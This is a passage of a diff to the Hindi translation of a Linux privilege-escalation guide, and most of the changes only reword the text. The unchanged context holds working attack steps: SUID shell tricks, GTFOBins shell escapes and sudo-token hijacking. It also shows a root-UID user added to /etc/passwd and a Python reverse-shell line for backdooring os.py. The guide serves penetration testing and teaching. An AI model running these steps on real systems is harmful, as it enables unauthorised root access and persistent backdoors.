&& chmod +s /tmp/bash && /tmp/bash -p"); ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -अंततः, प्रभावित SUID बाइनरी को चलाने से एक्सप्लॉइट सक्रिय होना चाहिए, जिससे संभावित सिस्टम समझौता हो सके। +अंततः, प्रभावित SUID बाइनरी को चलाना एक्सप्लॉइट को ट्रिगर करना चाहिए, जिससे संभावित सिस्टम समझौता हो सके। ## साझा ऑब्जेक्ट हाइजैकिंग ```bash @@ -892,9 +900,9 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) Unix बाइनरीज़ की एक चयनित सूची है जिसे एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप केवल **आर्गुमेंट्स** को एक कमांड में इंजेक्ट कर सकते हैं। +[**GTFOBins**](https://gtfobins.github.io) एक क्यूरेटेड सूची है Unix बाइनरीज़ की, जिन्हें एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप केवल **आर्गुमेंट्स** को एक कमांड में **इंजेक्ट** कर सकते हैं। -यह परियोजना उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करती है जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल्स को स्पॉन करने, और अन्य पोस्ट-शोषण कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है। +यह परियोजना उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करती है, जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल्स को स्पॉन करने, और अन्य पोस्ट-एक्सप्लॉइटेशन कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है। > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -920,7 +928,7 @@ https://gtfoargs.github.io/ विशेषाधिकार बढ़ाने की आवश्यकताएँ: - आपके पास पहले से "_sampleuser_" उपयोगकर्ता के रूप में एक शेल है -- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से, यह sudo टोकन की अवधि है जो हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देती है) +- "_sampleuser_" ने **अंतिम 15 मिनट** में कुछ निष्पादित करने के लिए **`sudo`** का उपयोग किया है (डिफ़ॉल्ट रूप से यह वह अवधि है जिसमें sudo टोकन हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देता है) - `cat /proc/sys/kernel/yama/ptrace_scope` 0 है - `gdb` सुलभ है (आप इसे अपलोड करने में सक्षम हो सकते हैं) @@ -934,7 +942,7 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- दूसरा **शोषण** (`exploit_v2.sh`) _/tmp_ में **रूट द्वारा सेटयूआईडी के साथ एक श शेल बनाएगा** +- दूसरा **शोषण** (`exploit_v2.sh`) _/tmp_ में **रूट द्वारा सेटयूआईडी के साथ** एक श शेल बनाएगा ```bash bash exploit_v2.sh /tmp/sh -p @@ -954,7 +962,7 @@ sudo su ### /etc/sudoers, /etc/sudoers.d फाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फाइलें यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे। ये फाइलें **डिफ़ॉल्ट रूप से केवल उपयोगकर्ता रूट और समूह रूट द्वारा पढ़ी जा सकती हैं**।\ -**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप किसी फाइल को **लिख** सकते हैं तो आप **अधिकार बढ़ा** सकते हैं। +**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप कोई फाइल **लिख** सकते हैं तो आप **अधिकार बढ़ा** सकेंगे। ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1004,10 +1012,11 @@ sudo ls फाइल `/etc/ld.so.conf` **यह दर्शाती है कि लोड की गई कॉन्फ़िगरेशन फ़ाइलें कहाँ से हैं**। आमतौर पर, इस फ़ाइल में निम्नलिखित पथ होता है: `include /etc/ld.so.conf.d/*.conf` -इसका मतलब है कि `/etc/ld.so.conf.d/*.conf` से कॉन्फ़िगरेशन फ़ाइलें पढ़ी जाएँगी। ये कॉन्फ़िगरेशन फ़ाइलें **अन्य फ़ोल्डरों की ओर इशारा करती हैं** जहाँ **लाइब्रेरी** **खोजी** जाएँगी। उदाहरण के लिए, `/etc/ld.so.conf.d/libc.conf` की सामग्री है `/usr/local/lib`। **इसका मतलब है कि सिस्टम `/usr/local/lib` के अंदर लाइब्रेरी खोजेगा**। +इसका मतलब है कि `/etc/ld.so.conf.d/*.conf` से कॉन्फ़िगरेशन फ़ाइलें पढ़ी जाएँगी। ये कॉन्फ़िगरेशन फ़ाइलें **अन्य फ़ोल्डरों की ओर इशारा करती हैं** जहाँ **लाइब्रेरीज़** को **खोजा** जाएगा। उदाहरण के लिए, `/etc/ld.so.conf.d/libc.conf` की सामग्री है `/usr/local/lib`। **इसका मतलब है कि सिस्टम `/usr/local/lib` के अंदर लाइब्रेरीज़ के लिए खोज करेगा**। यदि किसी कारणवश **किसी उपयोगकर्ता के पास लिखने की अनुमति है** किसी भी पथ पर जो संकेतित हैं: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` के अंदर कोई भी फ़ाइल या `/etc/ld.so.conf.d/*.conf` के अंदर कॉन्फ़िगरेशन फ़ाइल के भीतर कोई भी फ़ोल्डर, तो वह विशेषाधिकार बढ़ाने में सक्षम हो सकता है।\ -इस गलत कॉन्फ़िगरेशन का **शोषण कैसे करें** इस पृष्ठ पर देखें: +देखें **इस गलत कॉन्फ़िगरेशन का लाभ कैसे उठाएँ** निम्नलिखित पृष्ठ पर: + {{#ref}} ld.so.conf-example.md @@ -1049,7 +1058,7 @@ execve(file,argv,0); ## क्षमताएँ Linux क्षमताएँ एक **प्रक्रिया को उपलब्ध रूट विशेषाधिकारों का उपसमुच्चय** प्रदान करती हैं। यह प्रभावी रूप से रूट **विशेषाधिकारों को छोटे और विशिष्ट इकाइयों में विभाजित करता है**। इन इकाइयों में से प्रत्येक को स्वतंत्र रूप से प्रक्रियाओं को सौंपा जा सकता है। इस तरह पूर्ण विशेषाधिकारों का सेट कम हो जाता है, जिससे शोषण के जोखिम कम होते हैं।\ -अधिक जानकारी के लिए **क्षमताओं और उन्हें कैसे दुरुपयोग किया जा सकता है** पढ़ें: +**क्षमताओं और उन्हें कैसे दुरुपयोग करना है** के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ पढ़ें: {{#ref}} linux-capabilities.md @@ -1057,12 +1066,12 @@ linux-capabilities.md ## निर्देशिका अनुमतियाँ -एक निर्देशिका में, **"कार्यान्वयन" के लिए बिट** का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\ +एक निर्देशिका में, **"कार्यान्वयन"** के लिए बिट का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\ **"पढ़ने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइल** **बना** सकता है। ## ACLs -एक्सेस कंट्रोल लिस्ट (ACLs) वैकल्पिक अनुमतियों की द्वितीयक परत का प्रतिनिधित्व करती हैं, जो **पारंपरिक ugo/rwx अनुमतियों को ओवरराइड** करने में सक्षम हैं। ये अनुमतियाँ फ़ाइल या निर्देशिका के एक्सेस पर नियंत्रण को बढ़ाती हैं, विशेष उपयोगकर्ताओं को अधिकार देने या अस्वीकार करने की अनुमति देकर जो मालिक नहीं हैं या समूह का हिस्सा नहीं हैं। यह स्तर की **सूक्ष्मता अधिक सटीक एक्सेस प्रबंधन सुनिश्चित करती है**। आगे की जानकारी [**यहाँ**](https://linuxconfig.org/how-to-manage-acls-on-linux) मिल सकती है। +एक्सेस कंट्रोल लिस्ट (ACLs) विवेकाधीन अनुमतियों की द्वितीयक परत का प्रतिनिधित्व करती हैं, जो **पारंपरिक ugo/rwx अनुमतियों को ओवरराइड** करने में सक्षम हैं। ये अनुमतियाँ फ़ाइल या निर्देशिका के एक्सेस पर नियंत्रण को बढ़ाती हैं, विशेष उपयोगकर्ताओं को अधिकार देने या अस्वीकार करने की अनुमति देकर जो मालिक नहीं हैं या समूह का हिस्सा नहीं हैं। यह स्तर की **सूक्ष्मता अधिक सटीक एक्सेस प्रबंधन सुनिश्चित करती है**। आगे की जानकारी [**यहाँ**](https://linuxconfig.org/how-to-manage-acls-on-linux) मिल सकती है। **उपयोगकर्ता "kali" को एक फ़ाइल पर पढ़ने और लिखने की अनुमतियाँ दें:** ```bash @@ -1077,8 +1086,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Open shell sessions -In **पुराने संस्करणों** आप **हाइजैक** कर सकते हैं कुछ **शेल** सत्रों को एक अलग उपयोगकर्ता (**रूट**) के।\ -In **नवीनतम संस्करणों** आप केवल **अपने स्वयं के उपयोगकर्ता** के स्क्रीन सत्रों से **जुड़ने** में सक्षम होंगे। हालांकि, आप **सत्र के अंदर दिलचस्प जानकारी** पा सकते हैं। +In **पुराने संस्करणों** में आप **हाइजैक** कर सकते हैं कुछ **शेल** सत्रों को एक अलग उपयोगकर्ता (**रूट**) के।\ +In **नवीनतम संस्करणों** में आप केवल **अपने स्वयं के उपयोगकर्ता** के स्क्रीन सत्रों से **जुड़ने** में सक्षम होंगे। हालांकि, आप **सत्र के अंदर दिलचस्प जानकारी** पा सकते हैं। ### screen sessions hijacking @@ -1089,7 +1098,7 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**सत्र से जुड़ें** +**एक सत्र से जुड़ें** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1123,27 +1132,27 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर सितंबर 2006 और 13 मई 2008 के बीच उत्पन्न सभी SSL और SSH कुंजी इस बग से प्रभावित हो सकती हैं।\ -यह बग तब उत्पन्न होता है जब उन OS में एक नई ssh कुंजी बनाई जाती है, क्योंकि **केवल 32,768 भिन्नताएँ संभव थीं**। इसका मतलब है कि सभी संभावनाएँ गणना की जा सकती हैं और **ssh सार्वजनिक कुंजी होने पर आप संबंधित निजी कुंजी के लिए खोज कर सकते हैं**। आप यहाँ गणना की गई संभावनाएँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +सभी SSL और SSH कुंजी जो Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर सितंबर 2006 और 13 मई 2008 के बीच उत्पन्न की गई थीं, इस बग से प्रभावित हो सकती हैं।\ +यह बग उन OS में एक नई ssh कुंजी बनाने के दौरान होता है, क्योंकि **केवल 32,768 भिन्नताएँ संभव थीं**। इसका मतलब है कि सभी संभावनाएँ गणना की जा सकती हैं और **ssh सार्वजनिक कुंजी होने पर आप संबंधित निजी कुंजी के लिए खोज कर सकते हैं**। आप यहाँ गणना की गई संभावनाएँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. -- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. -- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. +- **PasswordAuthentication:** यह निर्दिष्ट करता है कि क्या पासवर्ड प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `no` है। +- **PubkeyAuthentication:** यह निर्दिष्ट करता है कि क्या सार्वजनिक कुंजी प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `yes` है। +- **PermitEmptyPasswords**: जब पासवर्ड प्रमाणीकरण की अनुमति होती है, तो यह निर्दिष्ट करता है कि क्या सर्वर खाली पासवर्ड स्ट्रिंग वाले खातों में लॉगिन की अनुमति देता है। डिफ़ॉल्ट `no` है। ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +यह निर्दिष्ट करता है कि क्या रूट ssh का उपयोग करके लॉगिन कर सकता है, डिफ़ॉल्ट `no` है। संभावित मान: -- `yes`: root can login using password and private key -- `without-password` or `prohibit-password`: root can only login with a private key -- `forced-commands-only`: Root can login only using private key and if the commands options are specified -- `no` : no +- `yes`: रूट पासवर्ड और निजी कुंजी का उपयोग करके लॉगिन कर सकता है +- `without-password` या `prohibit-password`: रूट केवल निजी कुंजी के साथ लॉगिन कर सकता है +- `forced-commands-only`: रूट केवल निजी कुंजी का उपयोग करके और यदि कमांड विकल्प निर्दिष्ट किए गए हैं, लॉगिन कर सकता है +- `no` : नहीं ### AuthorizedKeysFile -Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: +यह उन फ़ाइलों को निर्दिष्ट करता है जो सार्वजनिक कुंजियों को शामिल करती हैं जो उपयोगकर्ता प्रमाणीकरण के लिए उपयोग की जा सकती हैं। इसमें ऐसे टोकन हो सकते हैं जैसे `%h`, जिसे होम डायरेक्टरी द्वारा प्रतिस्थापित किया जाएगा। **आप पूर्ण पथ निर्दिष्ट कर सकते हैं** (जो `/` से शुरू होता है) या **उपयोगकर्ता के होम से सापेक्ष पथ**। उदाहरण के लिए: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1151,20 +1160,21 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -SSH एजेंट फॉरवर्डिंग आपको **अपनी स्थानीय SSH कुंजियों का उपयोग करने** की अनुमति देता है बजाय इसके कि कुंजियाँ (बिना पासफ़्रेज़ के!) आपके सर्वर पर बैठी रहें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट पर **जंप** कर सकेंगे **उपयोग करके** **कुंजी** जो आपके **प्रारंभिक होस्ट** में स्थित है। +SSH एजेंट फॉरवर्डिंग आपको **अपने स्थानीय SSH कुंजी का उपयोग करने** की अनुमति देता है बजाय इसके कि कुंजियाँ (बिना पासफ़्रेज़ के!) आपके सर्वर पर बैठी रहें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट **पर जंप** कर सकेंगे **उपयोग करके** अपनी **प्रारंभिक होस्ट** में स्थित **कुंजी**। आपको इस विकल्प को `$HOME/.ssh.config` में इस तरह सेट करना होगा: ``` Host example.com ForwardAgent yes ``` -ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, तो वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)। +ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)। फाइल `/etc/ssh_config` इस **विकल्पों** को **ओवरराइड** कर सकती है और इस कॉन्फ़िगरेशन की अनुमति या अस्वीकृति कर सकती है।\ फाइल `/etc/sshd_config` ssh-agent फॉरवर्डिंग को कीवर्ड `AllowAgentForwarding` के साथ **अनुमति** या **अस्वीकृति** दे सकती है (डिफ़ॉल्ट अनुमति है)। यदि आप पाते हैं कि फॉरवर्ड एजेंट किसी वातावरण में कॉन्फ़िगर किया गया है, तो निम्नलिखित पृष्ठ को पढ़ें क्योंकि **आप इसे विशेषाधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: + {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} @@ -1173,7 +1183,7 @@ ssh-forward-agent-exploitation.md ### प्रोफाइल फ़ाइलें -फाइल `/etc/profile` और `/etc/profile.d/` के तहत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिखने या संशोधित करने में सक्षम हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**। +फाइल `/etc/profile` और `/etc/profile.d/` के तहत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**। ```bash ls -l /etc/profile /etc/profile.d/ ``` @@ -1181,7 +1191,7 @@ ls -l /etc/profile /etc/profile.d/ ### Passwd/Shadow फ़ाइलें -OS के आधार पर `/etc/passwd` और `/etc/shadow` फ़ाइलें एक अलग नाम का उपयोग कर सकती हैं या एक बैकअप हो सकता है। इसलिए यह अनुशंसित है कि **इनमें से सभी को खोजें** और **जांचें कि क्या आप इन्हें पढ़ सकते हैं** यह देखने के लिए कि **क्या फ़ाइलों के अंदर हैश हैं**: +OS के आधार पर `/etc/passwd` और `/etc/shadow` फ़ाइलें एक अलग नाम का उपयोग कर सकती हैं या एक बैकअप हो सकता है। इसलिए यह अनुशंसित है कि **इनमें से सभी को खोजें** और **जांचें कि क्या आप इन्हें पढ़ सकते हैं** यह देखने के लिए **क्या फ़ाइलों के अंदर हैश हैं**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1204,7 +1214,7 @@ python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +उदाहरण: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` आप अब `su` कमांड का उपयोग `hacker:hacker` के साथ कर सकते हैं। @@ -1231,7 +1241,7 @@ Group=root ### फ़ोल्डर जांचें -निम्नलिखित फ़ोल्डर बैकअप या दिलचस्प जानकारी रख सकते हैं: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (संभवतः आप अंतिम को पढ़ने में असमर्थ होंगे लेकिन प्रयास करें) +निम्नलिखित फ़ोल्डर बैकअप या दिलचस्प जानकारी रख सकते हैं: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (संभवतः आप अंतिम फ़ोल्डर को पढ़ने में असमर्थ होंगे लेकिन प्रयास करें) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1291,8 +1301,8 @@ Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalati ### Logs -यदि आप लॉग पढ़ सकते हैं, तो आप **उनमें दिलचस्प/गोपनीय जानकारी** पा सकते हैं। लॉग जितना अजीब होगा, यह उतना ही दिलचस्प होगा (संभवतः)।\ -इसके अलावा, कुछ "**खराब**" कॉन्फ़िगर किए गए (बैकडोर?) **ऑडिट लॉग** आपको ऑडिट लॉग में **पासवर्ड रिकॉर्ड करने** की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +यदि आप लॉग पढ़ सकते हैं, तो आप **उनमें दिलचस्प/गोपनीय जानकारी** पा सकते हैं। लॉग जितना अजीब होगा, वह उतना ही दिलचस्प होगा (संभवतः)।\ +इसके अलावा, कुछ "**खराब**" कॉन्फ़िगर किए गए (बैकडोर?) **ऑडिट लॉग** आपको **ऑडिट लॉग में पासवर्ड रिकॉर्ड करने** की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1313,13 +1323,13 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ### Generic Creds Search/Regex आपको उन फ़ाइलों की जांच भी करनी चाहिए जिनमें "**password**" शब्द उनके **नाम** में या **सामग्री** के अंदर है, और साथ ही लॉग में IPs और ईमेल की जांच करनी चाहिए, या हैश regexps।\ -मैं यहाँ यह नहीं बताने जा रहा कि यह सब कैसे करना है लेकिन यदि आप रुचि रखते हैं तो आप अंतिम जांचें देख सकते हैं जो [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) करता है। +मैं यहाँ यह सूचीबद्ध नहीं करने जा रहा हूँ कि यह सब कैसे करना है लेकिन यदि आप रुचि रखते हैं तो आप अंतिम जांचें देख सकते हैं जो [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) करता है। ## Writable files ### Python library hijacking -यदि आप जानते हैं कि **कहाँ** एक पायथन स्क्रिप्ट निष्पादित होने वाली है और आप उस फ़ोल्डर के अंदर **लिख सकते हैं** या आप **पायथन पुस्तकालयों को संशोधित कर सकते हैं**, तो आप OS पुस्तकालय को संशोधित कर सकते हैं और इसे बैकडोर कर सकते हैं (यदि आप उस स्थान पर लिख सकते हैं जहाँ पायथन स्क्रिप्ट निष्पादित होने वाली है, तो os.py पुस्तकालय को कॉपी और पेस्ट करें)। +यदि आप जानते हैं कि **कहाँ** एक पायथन स्क्रिप्ट निष्पादित होने जा रही है और आप उस फ़ोल्डर के अंदर **लिख सकते हैं** या आप **पायथन पुस्तकालयों को संशोधित कर सकते हैं**, तो आप OS पुस्तकालय को संशोधित कर सकते हैं और इसे बैकडोर कर सकते हैं (यदि आप उस स्थान पर लिख सकते हैं जहाँ पायथन स्क्रिप्ट निष्पादित होने जा रही है, तो os.py पुस्तकालय को कॉपी और पेस्ट करें)। **पुस्तकालय को बैकडोर करने के लिए** बस os.py पुस्तकालय के अंत में निम्नलिखित पंक्ति जोड़ें (IP और PORT बदलें): ```python @@ -1327,7 +1337,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Logrotate exploitation -`logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **root** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए। +`logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **रूट** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए। > [!TIP] > यह सुरक्षा कमी `logrotate` संस्करण `3.18.0` और पुराने को प्रभावित करती है @@ -1336,7 +1346,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s आप इस सुरक्षा कमी का लाभ [**logrotten**](https://github.com/whotwagner/logrotten) के साथ उठा सकते हैं। -यह सुरक्षा कमी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx लॉग),** के समान है, इसलिए जब भी आप पाते हैं कि आप लॉग को बदल सकते हैं, तो जांचें कि उन लॉग का प्रबंधन कौन कर रहा है और जांचें कि क्या आप लॉग को सिम्लिंक्स द्वारा प्रतिस्थापित करके विशेषाधिकार बढ़ा सकते हैं। +यह सुरक्षा कमी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx लॉग),** के समान है, इसलिए जब भी आप पाते हैं कि आप लॉग को बदल सकते हैं, तो जांचें कि उन लॉग का प्रबंधन कौन कर रहा है और जांचें कि क्या आप लॉग को सिमलिंक द्वारा प्रतिस्थापित करके विशेषाधिकार बढ़ा सकते हैं। ### /etc/sysconfig/network-scripts/ (Centos/Redhat) @@ -1346,7 +1356,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s नेटवर्क स्क्रिप्ट, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शनों के लिए उपयोग की जाती हैं। वे बिल्कुल .INI फ़ाइलों की तरह दिखती हैं। हालाँकि, इन्हें Linux पर नेटवर्क प्रबंधक (dispatcher.d) द्वारा \~sourced\~ किया जाता है। -मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ root के रूप में निष्पादित होता है**। +मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ रूट के रूप में निष्पादित होता है**। उदाहरण के लिए: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1356,28 +1366,31 @@ DEVICE=eth0 ``` ### **init, init.d, systemd, और rc.d** -डायरेक्टरी `/etc/init.d` **स्क्रिप्ट्स** का घर है जो System V init (SysVinit) के लिए हैं, जो **क्लासिक Linux सेवा प्रबंधन प्रणाली** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट्स शामिल हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले प्रतीकात्मक लिंक के माध्यम से निष्पादित किया जा सकता है। Redhat सिस्टम में एक वैकल्पिक पथ `/etc/rc.d/init.d` है। +डायरेक्टरी `/etc/init.d` **स्क्रिप्ट्स** का घर है जो System V init (SysVinit) के लिए है, जो **क्लासिक Linux सेवा प्रबंधन प्रणाली** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट्स शामिल हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले प्रतीकात्मक लिंक के माध्यम से निष्पादित किया जा सकता है। Redhat सिस्टम में एक वैकल्पिक पथ `/etc/rc.d/init.d` है। दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश की गई एक नई **सेवा प्रबंधन** प्रणाली है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करती है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट्स अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है। -**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेज के लिए फ़ाइलों को `/usr/lib/systemd/` में और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा सके। +**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेज के लिए `/usr/lib/systemd/` और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में फ़ाइलों को व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा सके। ## अन्य तरकीबें ### NFS विशेषाधिकार वृद्धि + {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} ### प्रतिबंधित शेल से भागना + {{#ref}} 